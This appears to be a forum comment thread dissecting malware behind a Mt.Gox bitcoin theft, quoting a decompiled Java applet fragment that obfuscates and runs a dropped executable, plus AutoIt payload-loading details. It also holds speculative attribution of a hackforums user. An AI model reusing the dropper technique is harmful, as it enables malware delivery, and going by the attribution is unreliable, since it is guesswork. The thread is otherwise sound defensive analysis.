Apart from some basic functions like replication (including a message in facebook posts/messages, copying to accessible network drives and usbs), avoiding VMs, and setting itself to run on startup, it looks like most of the work is handed off to 2 payloads embedded in the compiled autoit file. There are also 2 other binaries mentioned (net2 and net4) but I'm not sure what the purpose is right now.
Payload 1: binary image that is in the shell() function.
Payload 2: between "\\carbons\\" and "//J_Y//" in original exe. It is encrypted with RC2, the password is in an INI which should be elsewhere in the exe - the script refers to @ScriptFullPath->"crypted"->"key" where crypted is the INI section name and key is the key name.
Both payloads are converted to DLL format in-memory, then Payload 1 is executed in the context of another window using CallWindowProcW, passing a pointer to Payload 2 to it.
Decompiled version of Payload 1 (embedded hex): http://pastebin.com/kxT9NskV
There is an area of null bytes at 0x1c...0x53. I deleted 1 byte, 0x00, from it so that the beginning 'call 0x54' lines up with an instruction. Not sure if that is correct.
If anyone gets a chance I'd appreciate a copy of the original AutoIt binary package (email in profile.)
The mention of net2 and net4 sounds like the .Net runtime could be involved - the numbers referring to the version of the runtime. Quite the coincidence if not.
Perhaps a .Net decompiler could help. Reflector used to be the only good tool around, but since it became a paid tool, other free ones have sprung up. dotPeek is one (no idea how good it is).
This is "a variant of Win32/Injector.Autoit.HG" trojan according to the ESET antivirus on my machine.
>> if (str1 != "yes")
Thats some dodgy java code right there. (You should use .equals() )
It's a shame you'be been downvoted even while being correct - I gave you one upvote at least.
Decompile is irrelevant here, the only difference is 'str1' might have been named something different in the original code.
This is java code, so "string" != "string" will usually return true always, as you are checking if the objects are equal and not whether the contents are equal. Depending on the JRE this code runs on, it would give different output. [1]
[1] http://stackoverflow.com/questions/513832/how-do-i-compare-s...
I believe String literals are guaranteed to be == in the same source file by the spec, although it's been some years since I could quote chapter and verse for that.
You are correct (albeit substituting "class" for "source file" since runtime Java has no concept of source files), although the guarantee is stronger than that. Any two identical literals will refer to the same object, since literals are interned, regardless of what classes "own" them.
Chapter and verse: JLS §3.10.5, http://docs.oracle.com/javase/specs/jls/se7/html/jls-3.html#...
Caveat: This will yield different results whether you initialize the string as
> String a = "foo";
vs.
> String a = new String("foo");
Parent wrote:
"Any two identical literals"
The second 'a' is not a literal.
The OP is still correct though - don't use == for strings, always use .equals()
The problem with using == is maintainability and silent failure. Someone may change the program to accept the string from the command line, or just about anything else. As soon as this happens, a string can come in from elsewhere and still have the value "yes" but would still pass the inequality.
This bug would be completely silent and incredibly difficult to debug, possibly only arising in strange and unusual circumstances. The only way to really avoid this is to just use .equals() always. Using == for strings in Java is plain terrible coding, and the OP is therefore correct.
A) They're literals B) It's been decompiled c) CHICKEEEEEEN
its decompiled code, so you'd have to forgive the bad style.
Look at str2, it says poutinecoutu Seems to be the username of someone in Quebec (Canada), coutu being a very common last name and poutine being the national dish. This nickname has been used quite a lot on different hacking forums: https://www.google.com/search?q=poutinecoutu&aq=f&oq...
As I had noted in another comment, this product that this person is using is advertised on hackforums. (https://news.ycombinator.com/item?id=5531500) So I've gone on hackforums, searched for poutinecoutu, and what do you know? This might be him.
http://www.hackforums.net/member.php?action=profile&uid=...
So let's look at their recent posts:
http://www.hackforums.net/search.php?action=results&sid=...
>RE: Bitcoin prices collapse over $100 in a matter of hours
http://www.hackforums.net/showthread.php?tid=3398170&pid...
>RE: Buying 10+ BTC via Bank Transfer / Western Union
http://www.hackforums.net/showthread.php?tid=3392974&pid...
So this person knows what Bitcoin is and has some to sell.
Hmm, let's look much further back in their history.
> RE: Ψ #1 [SILENT JAVA DRIVE BY] FoxxyJava [0/37]★ FREE HOSTING ★ SPREAD FASTER! ★ [$20] Ψ
>Vouch for this amazing jdb. Keep good work. He is ALWAYS disponible for his clients. He helped me alot.
http://www.hackforums.net/showthread.php?tid=3005399&pid...
FoxyJava is a Java Drive-By, similar to this GalaxyJDB the exploit used. I wonder if he has also used GalaxyJDB? I can't see any replies, but it's possible. Let's go to the galaxyjdb site and see if the person who programmed the login was dumb enough to check username and password seperately: http://galaxyjdb.com/index.php?a=Login
...sadly not, it would seem. So I can't prove they use GalaxyJDB, or that this is even the person we're after, but I think it's very likely.
You can easily check if the username is taken via the register form - it is.
Flaw: someone could potentially have tried the same thing before me and accidentally registered it.
Right. I have no clue what to do now, though.
Luckily, no one has Java enabled by default anymore.. right?
If you leave it running, you're asking for trouble.
Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.
It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice:
String str2 = System.getenv("APPDATA"); String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str9 = str5.concat(str6.replace("##", ".ex")); Runtime.getRuntime().exec(str9);From a quick glance it would appear it tries to execute:
C:\Users\<username>\AppData\Roaming\AdobeUpdate-Setup1.84.exe
Just appears to be a rudimentary attempt at obfuscating the executable path.
The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.
According to an up thread commenter, it's digitally signed which allows a prompt to the user for elevated permissions.
An evil wee signed applet.
I think thats done to fool AV software. - AV software will probably flag up any string which equals "AdobeUpdate-Setup1.exe"
All AV software is about that dumb as far as I know. Anyone who is depending on AV software to protect things like actual money is in serious trouble.
You can't really expect it to do much more in this case, you can make the computation which results in ".exe" arbitrarily complex, and detection needs to be cheap. Ultimately the problem is that AV software is in the business of enumerating badness. You need to do whitelisting, for example of who gets to execute arbitrary code, which is the problem here.
Why this works is beyond me, but that looks like the actual call to execute it.Runtime.getRuntime().exec(str9);A signed applet can do pretty much anything an executable app can do if the user gives it permission. I built a little zip utility applet years ago that accesses the file system, ezyzip.com. Still works even though the signature is expired.
Wow, I hadn't noticed that about Java before, Just checked ezyzip.com. The sig is expired, but it only says that right at the bottom of the dialogue, and it still allows you to run it without a problem. I can imagine many people just clicking through that, as it seems almost identical to the standard Java applet warning.
Oracle really need to change that, there should be flashing red lights (alright, maybe not flashing) on that dialogue, otherwise any previously valid signature on a Java applet will be happily trusted by the majority of the internet.
Also, I noticed that in the comments on the bitcointalk site, that many people are blaming this on windows. I know the payload is an EXE, but has anyone analysed it and checked if this applies to other OS's as well? If this is (as the author claims) a Java 0-day attack it may well work on other operating systems, and for other purposes. I personally suspect this is a matter of the author accidentally granting permissions to an app that he shouldn't have, but it sounds like this "AdobeUpdate-Setup1.84.exe" could do with some analysis.
Anyone else thinking dolphenstein is an evil genius cracker who just got a load of HNers to run his exploit?
A valid certificate does not make a bad program good.
Yeah, I'd of assumed this would of not been allowed by the JVM hence the exploit somewhere.
Edit: Apparently the applet was signed, hence no exploit needed.
I reached the same conclusion ... the program downloads a file named "AdobeUpdate-Setup1.84.exe" into Java's temporary directory and then runs it with the line "Runtime.getRuntime().exec(str9);".
lol. He is using a Logger in an exploit.
He seems to think MtGox should compensate his loss, but I really don't see how it's their fault. The guy fell victim to a phishing scam, plain and simple. It was completely out of MtGox's hands.
> I then discovered that the site is loaded with a java script which, based on an initial analysis by my java programmer friend, is a 0 day java exploit with a cross site injection attack, which automatically started
"Being a techie", I like to confuse Java and Javascript ...
Well, he did put a space there. I'd give him a pass.
I would have, but then the term "cross site injection attack", is again Javascript terminology (he probably meant XSS or CRSF, but the term "cross site" doesn't really apply to Java applets).
However, the guy just got hacked out of about $8k worth of BC, which sucks, and for that I do give him a pass :)
I'm assuming you mean "XSS or CSRF". In both cases the first 2 letters denote "Cross Site".
But, I'm picking hairs, and as you say, the guy just lost a shed-load of coin, so mostly sympathy (with a bit of urge to educate) from this end.
EDIT: Sorry, your comment was slightly ambiguous, I apologize for picking on a typo, I originally thought you were saying that XSS and CSRF had nothing to do with "Cross Site" which, upon reading again, I noticed was not the case. (Also, I made the same typo (CRSF) while typing this and only caught it just before hitting the submit button!)
Well abovethread it turns out he must have clicked through all sorts of Java certificate warning boxes, or run an old vulnerable Java version -- now I feel about as sorry for him as someone whose laptop got stolen as they left it unattended on the table in a coffeeshop for a toilet break. You can wait for something to happen like that.
I thought this too, but it downloads a Java applet.
A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it.
Java's security track is horrible and it's quite popular target.
I think that is a bit extreme. I'd suggest rather than not installing Java at all just to not install/disable the browser addons that allow java applets to execute. This way the only way you are going to be executing anything Java is by downloading the .jar (or a executable wrapper) and running it.
To me if you have to download the .jar and run it then that is no different to downloading an executable and running it and should take the appropriate precautions as you would with executables.
There are plenty of legitimate Java applications out there that are used by a wide spectrum of people from gamers (minecraft) to enterprise developers (JavaEE, java application servers, etc.).
How is it extreme? The only time I've needed java is for minecraft. Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.)
But stopping the chance of having everything in your digital (and in the case of money, personal) life stolen because you clicked on a link FAR outweighs the benefit of playing minecraft imo.
http://krebsonsecurity.com/2012/04/urgent-fix-for-zero-day-m...
Macs get it too.
Linux theoretically can get these problems, but because every Linux machine is different, the malware would have to be written to be cross-distribution. (ie: One may work in Debian, but not in Fedora / Red Hat... depending on how things work out).
Nonetheless, some people write viruses for Debian specifically: http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1...
It won't work on Red Hat, but the x86-specific 64-bit Debian was an attractive enough target for whoever wrote that one... I'm sure I can find a Red Hat Virus, Fedora Virus, Ubuntu virus, etc. etc. But they become increasingly rarer and rarer the fewer people use that specific distribution / OS.
I think you need to go back and read what you replied to.
Having Java installed but with Java disabled in your browser, like I suggested, means Java applets won't run in your browser at all. You'd need to download and execute the .jar or wrapper (which would be a executable anyway) which is no different from downloading any normal executable and running it.
Well yes I agree on that actually. Probably should've thought that through.
Eclipse, Netbeans, IDEA, SoapUI, HermesJMS, Notes, SQLDeveloper, DB2 viewer. Chances are, if you're developing software you're going to use Java at some point
Hmm yes I guess. Although saying that, I've never used any of those tools (Well Eclipse and Netbeans but not for anymore than a few days.)
"Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.)"
As far as I know, if you run it, and it's written intelligently enough, you're in trouble no matter what OS you're on.
It doesn't matter if you're on Windows, OSX, Linux or System i V7, if you approve the app to run, it'll run.
Java is a bit dangerous that way, but it's also a bit awesome that way :-)
Oh of course. But the majority of virus' I've seen target windows specifically. So it is a bit lower when you're using something like Linux. But I just don't enable it :-)
Java's fine. Nothing wrong with playing Minecraft. :)
What's a terrible idea is letting it run in your browser. Ever.
This is a bit too much. Virus typically runs in EXE, why don't you get rid of all the executables in your computer?
Java's security track has been pretty good. In this case it's a signed applet that asked the user for permission to run. It's a classic case of social engineering.
It would be the same if an executable is directly downloaded and prompted for running. If you haven't got rid of all your executables on you computer, you probably will fall into the same trap.
I wonder how much the of the increase in MtGox accounts and MtGox trading volume (discussed here: https://news.ycombinator.com/item?id=5529986) is due to this malware. If I was the author of this program, I'd spread the trading out over a large number of accounts and hit as many people as I could in a short time period (once the news gets out, this exploit will be much less effective).
How useful is a "currency" if it 1) has volatility like a penny stock and 2) raises the stakes on 0-day defense to something ridiculous?
When I hear interviews where people (bitcoin founder) suggest that you don't transfer into bitcoins any state currency you aren't willing to lose... it sort of peels the "inflation-hedge" covers off the whole thing. How unstable and unsecure does a currency have to be to be nearly worthless? USDollars look pretty safe again.
This is so much a game of hacker gambling. A great experiment. Too bad it consumes so much productive time and energy.
The beautiful narrative of the reclusive, open-society, eastern hacker that designs this thing which grows to be the godzilla it is... The story arc on bitcoin is borderline trite. Michael Bay is all over this in a year.
Is funny that people throw around words like "java script 0 day exploit" and then post:
>Then and there someone posted a link to www mtgox-chat info (do not open unless you know what >you are doing) claiming a video announcement that mtgox was going to start trading litecoins. >I clicked on the link, the website opened, not much happened, and the "video"/chatbox never loaded. >I then forgot about this website.
I'm really confused by the title, in particular the "on Mt.Gox" part. Was he "on Mt.Gox['s website]" when he came across this applet? He makes it sound like the exploit was on mt. gox.
If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that doesn't unfairly cast aspersions on the Mt.Gox site.
FWIW: I have no bitcoins, I don't fully grok bitcoins, I'm scared of bitcoins, I don't use mt.gox or any vendor
You have a point. His protestations notwithstanding, Mt. Gox does not appear to bear any responsibility for this at all. What happened was, he let his browser get pwned while he had his Mt. Gox account open in another tab. The coins were taken from his Mt. Gox account, but the security breach was on his end.
The theft occurred on the MtGox web site. MtGix is in a position to defend such a robery and it would behoove it to do so.
MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and need to take steps to protect what you have, especially when it's being held on behalf of a customer.
This wasn't someone hacking MtGox.
This was someone on a vulnerable OS, running without malware protection, with Java active in the browser, visiting an unknown link, and possibly giving an application permission to run. (Although maybe it didn't need permission to run?)
To get to that point the person needed to ignore several well established security principles.
Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator? It's not really that much hassle to enter a code each time you want to make a transaction, and these things wouldn't happen.
Sure, the user was being stupid here, but MtGox didn't do them any favors either.
"Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator?"
Not hard, and they did it a long time ago. The user didn't opt in.
When I signed up for an account, there was no obvious prompting to go and turn it on. It's all well and good having extra security, but if you don't actively try to get your users to make use of it, it's only going to be marginally useful.
That user was aware of extra MtGox security and chose not to use it.
On top of that the user
1) Chose to turn off (or not use) malware software
2) Enabled Java in the browser
3) Chose to visit a short url link presented in a chat window
4) Clicked through a big scary warning
All while still logged into their MtGox account.
It sucks that they're a victim of crime, but their actions were dumb.
Hum, really? I didn't notice it in the settings, and I'm sure I would have. I'll look again, thank you.
Not only is there TOTP, they also sent free Yubikeys to anyone who requested one last year.
Yes, but we have to assume the majority of people are not going to be particularly educated on stuff like this. Implementing simple checks before confirming a transfer out of an account should be a given.
I agree that the user is largely at fault here, but would you consider this acceptable if the same thing happened on your bank website?
I'm not familiar with Mt Gox but it's unacceptable if they don't have two factor authentication.
EDIT: Scrolling down, it appears they DO offer two-factor authentication. nvm.
How did the executable instruct the bitcoin transfer to take place?
They do have two-factor authentication, which the user admittedly didn't opt in to.
Ah, my bad.
I agree MtGox is subpar, but this isn't their fault. MtGox has two-factor auth, which the victim willfully didn't enable, and was infected with malware. There's not much else MtGox can do to protect against this sort of thing.
This is exactly why everyone on the internet keeps saying that you shouldn't automatically run Java applets or shouldn't have Java installed at all on your computer.
Java is just such a big target for hackers nowadays, that there will always be zero-days.
The funny thing is, this particular attack doesn't even involve a Java vulnerability. You have to either specifically grant the applet elevated permissions (giving it full access to your computer) or download and run something that claims to be a "Java updater" from the "g2f.nl" domain.
What I'm not getting is how a running executable can log into a website and initiate a transaction. It won't have your password right? Or is it just a keylogger to catch your password?
Like your regular XSRF, it relies on the user already being logged in some browser tab.
It probabley has a keylogger too.
the lesson is that the weakest link in a computer system is the human.
zero day exploits are not logically inevitable but statistically likely, is what you meant to say i believe. It is also not proven that thats what this is. He could just have easily given it manual permission to access his filesystem/whatever.
I'm having trouble understanding the OP's problem with mt. gox. Is it that the OP wants mt. gox to have somehow prevented him from downloading and running malicious java code from some other third party website? (WTF dude) or is it more specific, that the OP thinks mt. gox should have somehow prevented the OP's credentials from being sniffed by said malicious program?
This is probably not much different from any other internet banking trojan horse delivered via a java exploit.
Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).
Best comment from the thread: "Friends don't let friends use Windows + Bitcoin."
The non-reversibility of bitcoin transactions is a huge liability. Our current state of software technology was designed in a world where the most valuable/dangerous thing you could possibly have on your disk or on a web site was, what, your ssh keys? Nude photos of yourself?
The value of hacking, phishing, etc is significantly increased by the presence of bitcoins.
I guess you could argue that if bitcoins are popular, software practices will evolve to be much more secure - but until then, it's wild west, and much more wild than the internet ever was before.
Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?
Here's an interesting (and controversial) proposal and discussion:
"Decentralised crime fighting using private set intersection protocols" - Mike Hearn
Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.
but it'd be viral so be universal. Merchents and absolutely everyone would all quickly start checking just to ensure they don't get coins they can't trade, making it effectively universal.
Which means it comes down to convincing the gatekeeper that you were burgled. But that's a human level problem.
and whoever that controlled that list would basically control bitcoins, because they could charge a levy or else they'd put your bitcoin into that list.
Yup, way to put a centralized control on your decentralized "currency."
I've seen this suggestion pop up many times in all sorts of discussions on bitcointalk.org forums. There's a bunch of pretty good reasons not to do it, I encourage you to look up those old discussions yourself.
No offense to bitcoiners, but what are people expecting when the biggest exchange is "Magic The Gathering Online Exchange" for this "currency" ?
I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re-authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.
You have the option of enabling two-factor authentication for various actions:
If they have your wallet.dat file (which probably happened in this case), they don't even need to visit Mt. Gox to perform transactions.
The guy had a Trojan loaded up onto his computer where he stored his bitcoins. All this two-factor authentication stuff people are talking about is for `naut. He was attacked by a virus, and that virus stole bitcoins straight off of his computer.
"site is loaded with a java script" - srsly? You do ebanking (or ebitcoining) on a computer which has java installed?
I hate to say it, but (at least in Australia) many banks require Java to do business banking.
This should change (at the glacial rate banks change things) as they realise that Java in the browser is risky business.
This may change if Oracle pull their finger out, stop being dicks about the licensing, and try to promote the language again.
Honestly, I think they've left it too late and the majority of "Java" you're going to see in the near future is going to be related to Android (and hence not running on Oracle's stack).
Then at least have a virtual machine snapshot of a clean install of OS+Java+Browser and always boot from the snapshot when doing internet business.
Java Applets were designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits. Turn off Java in the browser and hope that JavaScript is sandboxed well enough.
Java Applets is not designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits.
Only a signed Java applet can ask the user to give permission to access his computer.
I quite like the JVM but I think it should be stopped from running inside a browser.
The thing is that it's easy to stop Java applets from executing. Even better most browser prevent this by default. Including chrome, which he was probably using as indicated by the screenshot.
Looks like this was entirely his own fault, though it still sucks. Wouldn't hope for a refund though t.b.h.
Yes, I guess you're right. Am I being evil when I think that it would have been great if we could publish security patches for humans? =)
Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?
Yup, they use yubikey and in the past have even given free devices to customers. This guy didn't have one, which is simply irresponsible on his part.
They also support TOTP (Google Authenticator, etc)
At $200 per bitcoin, this is a $6,800 lesson in "Don't visit random websites".
At least they were open about being robbed. I wonder how many bitcoins were stolen in total?
EDIT: Has anyone visited the URL to analyse the malware?
At the current exchange rate, his loss is now down to $2100...
Maybe I'm missing something something, but where exactly is the exploit here? (0-day no less)
AFAIU, the user was prompted to accept an autosigned applet, and he did so. After that, the outcome was inevitable. You may hate java all you like, but it seems like the user (inadvertently) gave this program permission to steal all his money.
Actually, the only thing the hacker didn't do is ask the dude politely to give him (or her) the money. This wasn't a 0day bug, no XSS. The dude gave the hacker permission to run any code on his machine, therefore it's completely his own fault, and has nothing to do with MtGox.
I uninstalled all of the Java plugins when the 0 days started coming out a couple months ago. If you want to be extra safe, you should probably have some sort of Linux LiveCD without any plugins enabled, that acts as a trusted environment for banking.
Why do people trust MtGox again? Didn't something similar to this happen a year or-so ago where everyone's money disappeared and the ops were like "Yeah we don't know what happened"? How do we know they aren't fleecing everyone?
I have a Yubikey account with MtGox. Withdrawals require a long-press of the key. If you have a significant amount of BTC in MtGox, I would recommend paying the $20 to get the two-factor authentication key for your account.
This makes a lot more sense now:
Doesn't MtGox send out an email or SMS with a verification code before a transfer can take place? Ouch...
I get laughed at for using NoScript.
I use NoScript too, but the OP was lead to believe that they were accessing a video or an interactive chat, so they would likely have permitted scripts to run on that page anyway.
http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/
A Mt. Gox investor was surprised to see his account suddenly pillaged. Will Bitcoin theft call into question trust and confidence in the system?
Welcome to the far west...
Man, I'm getting tired of repeating these basic security issues:
Stop storing your wallet online. And if not that, stop letting flash/java autoload/run. Both Chrome and Firefox have "click-to-enable". Not only is it more secure, it also prevents auto-video-playing, background audio you can't find and shit like this from happening.
LOLarious.